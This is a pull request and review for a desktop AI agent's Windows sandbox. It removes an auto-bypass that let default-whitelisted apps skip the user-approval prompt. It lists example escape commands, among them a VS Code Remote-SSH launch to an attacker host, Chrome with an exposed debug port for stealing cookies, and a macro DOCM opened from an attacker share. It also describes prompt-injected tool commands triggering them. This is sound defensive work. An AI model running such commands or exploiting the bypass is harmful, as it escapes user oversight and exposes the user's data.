fix(sandbox): require approval for whitelisted apps; remove default-whitelist auto-bypass

[kapelame]

Description

The default external-app whitelist in desktop/src/main.ts:135-145 ships pre-populated with chrome, msedge, firefox, code, outlook, excel, winword, powerpnt — without any user opt-in. Combined with the auto-bypass fast-path in appcontainer/sandbox-cp-hooks.js:359-364, this means every freshly installed MicroClaw silently lets those eight apps run outside the AppContainer sandbox without showing the user-approval prompt.

The repo's own tests already enumerate this exact scenario as the behaviour to prevent:

Test (desktop/src/sandbox-logic.test.ts)	Asserts	Production behaviour (before this PR)
L2425: whitelisted app 'code' requires approval (not auto-bypass)	needs-approval	bypass
L2429: whitelisted app 'outlook' requires approval	needs-approval	bypass
L2433: whitelisted app 'excel' requires approval	needs-approval	bypass
L2437: code with --remote args requires approval (attack vector)	needs-approval	bypass

Those tests pass today only because the file defines a local stub checkApproval (L2419-2423) that hardcodes return "needs-approval" — they never exercise the real checkApproval in appcontainer/sandbox-cp-hooks.js. So the assertions captured the intended security contract while production diverged silently.

What the AppContainer boundary actually protects

The file's own top-level docstring (sandbox-cp-hooks.js:6-26) describes the model as:

All shell commands (except safe diagnostics and user-approved external apps) are executed inside a Windows AppContainer via AppContainerLauncher.exe. The kernel enforces ACLs regardless of what the regex extracted.

"User-approved" — not "in a hardcoded whitelist". The inline comment near the fast-path (Auto-bypass for apps already in the user-configured whitelist… silent bypass is acceptable) contradicts the file's own security model, because the default whitelist isn't user-configured; it's compiled into the binary.

Tracing the bypass through to the spawn:

1. `checkApproval` (`sandbox-cp-hooks.js:359-364`) returns `"bypass"` whenever `hasExternalApp` matches a default-whitelist entry, without calling `perm.requestApproval`.
2. The install hook at `sandbox-cp-hooks.js:1102-1106` sees `approval === "bypass"` and executes `_spawn.apply(this, arguments)` — the original raw spawn, not `AppContainerLauncher.exe`.

Concrete attack-surface examples that previously escaped the sandbox without prompt:

• `Start-Process code --remote ssh-remote+attacker@example.com /tmp/payload.sh` — VS Code Remote-SSH session to an attacker-controlled host; the remote server can install extensions and execute arbitrary code in the user's context.
• `Start-Process chrome --remote-debugging-port=9222 --user-data-dir=C:\Temp\evil` — opens CDP debug port; any local process can take over the browser and exfiltrate cookies/sessions.
• `Start-Process winword \\attacker\share\evil.docm` — DOCM auto-runs macros.
• `Start-Process firefox file:///C:/Users//Documents/secret.pdf` — directs the launched app to read paths the sandbox would otherwise block.

A prompt-injected tool command that lands inside MicroClaw's chat flow can trigger any of these without the user seeing the approval dialog the rest of the sandbox UX promises.

Fix

Two changes, both small:

1. `appcontainer/sandbox-cp-hooks.js` — remove the auto-bypass branch in `checkApproval`. Every external-app launch now flows through `perm.requestApproval`, exactly matching the test-file intent and the docstring. `perm.requestApproval` already supports "allow-always" caching, so users can still opt into one-prompt-then-bypass per app — but the choice is explicit.

```diff
function checkApproval(cmd, args, getExternalApps) {
var argArr = Array.isArray(args) ? args : [];

• // Auto-bypass for apps already in the user-configured whitelist.
• // The whitelist is curated by the user in Settings and protected by
• // a shell-name blocklist + HMAC-signed file, so silent bypass is acceptable.
• if (hasExternalApp(cmd, argArr, getExternalApps)) return "bypass";
• // Non-whitelisted apps still require explicit user approval.

• // Every external-app launch goes through requestApproval. There is no
• // silent fast-path for "whitelisted" apps: the default whitelist in
• // desktop/src/main.ts ships pre-populated without user opt-in, and the
• // tests in desktop/src/sandbox-logic.test.ts ('whitelisted app code
• // requires approval (not auto-bypass)', 'code with --remote args
• // requires approval (attack vector)') explicitly require a prompt for
• // every external-app launch.
• void getExternalApps;
  var appName = extractLaunchedApp(cmd, argArr);
  ```

`hasExternalApp` (defined at `sandbox-cp-hooks.js:228`) becomes dead code. Not removed in this PR to keep the diff scoped to the security fix; can be swept in a follow-up.

`getExternalApps` is preserved as a parameter so the call site at `:1102` doesn't need to change. `void` keeps lint quiet without altering the API contract.

2. `appcontainer/sandbox-cp-hooks.js` — expose `checkApproval` in `module.exports` so the regression test can call it directly (the existing `// Exposed for testing` block already lists `extractLaunchedApp`, `isShellExe`, etc., so this is in-style).

3. `desktop/src/sandbox-logic.test.ts` — add a new `describe("checkApproval (production code path, real module)")` block that loads the real `checkApproval`, mocks `perm.requestApproval` via `vi.spyOn`, and re-runs the same attack-vector assertions against production code. This is what the existing stub-based tests can't catch.

Testing

Local on macOS (CI runs `[self-hosted, Windows, X64]` per `.github/workflows/pr-build.yml`):

```
$ cd desktop && npm test
Test Files 3 failed | 5 passed (8)
Tests 72 failed | 507 passed (579)
```

Pre-existing 72 failures are all Windows-path-specific tests (`likelyNeedsElevation("C:\")`, `expandEnvVarsInCmd $env:TEMP`, etc.) that pass on Windows CI and fail by design on macOS because `path.resolve` differs across platforms. Baseline on clean main without this PR: also 72 failed / 500 passed. This PR adds 7 new tests, all passing → 507 passed on the same machine. No new failures.

```
$ npx vitest run src/sandbox-logic.test.ts -t "production code path"
Test Files 1 passed (1)
Tests 7 passed | 305 skipped (312)
```

```
$ cd desktop && npm run lint
✖ 119 problems (0 errors, 119 warnings)
LINT-EXIT: 0
```

All 119 warnings are pre-existing (no-explicit-any / no-require-imports already present on `main`). My new `require()` calls are silenced by inline `eslint-disable-next-line` comments matching the existing pattern in the same file.

```
$ npx prettier --check appcontainer/sandbox-cp-hooks.js desktop/src/sandbox-logic.test.ts
All matched files use Prettier code style!
```

Intentionally not run locally:

• `.\build.ps1` / `electron-builder --win --dir` / PyInstaller installer — Windows-only build pipeline; will run on the self-hosted Windows CI runner in `pr-build.yml`.

Compatibility

Backward-compatible at the API/config level. The `sandboxExternalApps` setting and `hasExternalApp` helper still exist and still parse the whitelist; what changes is that whitelist membership no longer auto-bypasses the prompt. Existing users who relied on silent-bypass for chrome/code/etc. will now see one approval prompt per app per session; selecting "allow-always" (already-supported by `perm.requestApproval`) restores zero-prompt behaviour, but as an explicit user decision rather than a hardcoded default.

No new external network calls. No new permissions. No persisted-state schema changes.

[xieyangsp]

Good catch on the vulnerability. The diagnosis is correct, but there are two issues to address before merging.

---

Issue 1: Incomplete fix — execFile / execFileSync still bypass the sandbox

The PR removes the fast-path inside checkApproval(), which only affects spawn / spawnSync. The execFile (L1300–1307) and execFileSync (L1494–1501) hooks have their own independent hasExternalApp() branches that skip checkApproval() entirely and are untouched by this PR:

// execFile L1300 — unchanged, still silently bypasses
if (hasExternalApp(file, Array.isArray(args) ? args : [], getExternalApps)) {
  return _execFile.apply(this, arguments);
}

An attacker just needs to trigger execFile instead of spawn and the original escape still works.

---

Issue 2: allow-always becomes a no-op, causing a UX regression on spawn

perm.requestApproval() has no memory cache — every call sends a sandbox-approval-request IPC to main.ts. The handler (L1875–1903) only checks sessionDeniedApps; it never reads sandboxExternalApps. So even after a user clicks Allow Always, the next spawn of the same app will pop the dialog again. Allow-always silently degrades to allow-once.

---

Note on the default whitelist

Pre-populating chrome, msedge, outlook, excel, etc. is intentional — these apps can't run inside AppContainer due to named-pipe / COM / RPC restrictions (documented in docs/plans/2026-03-27-appcontainer-sandbox-preload.md §4). The problem isn't the whitelist itself; it's that whitelist membership should grant a cached bypass after user approval, not unconditionally at install time.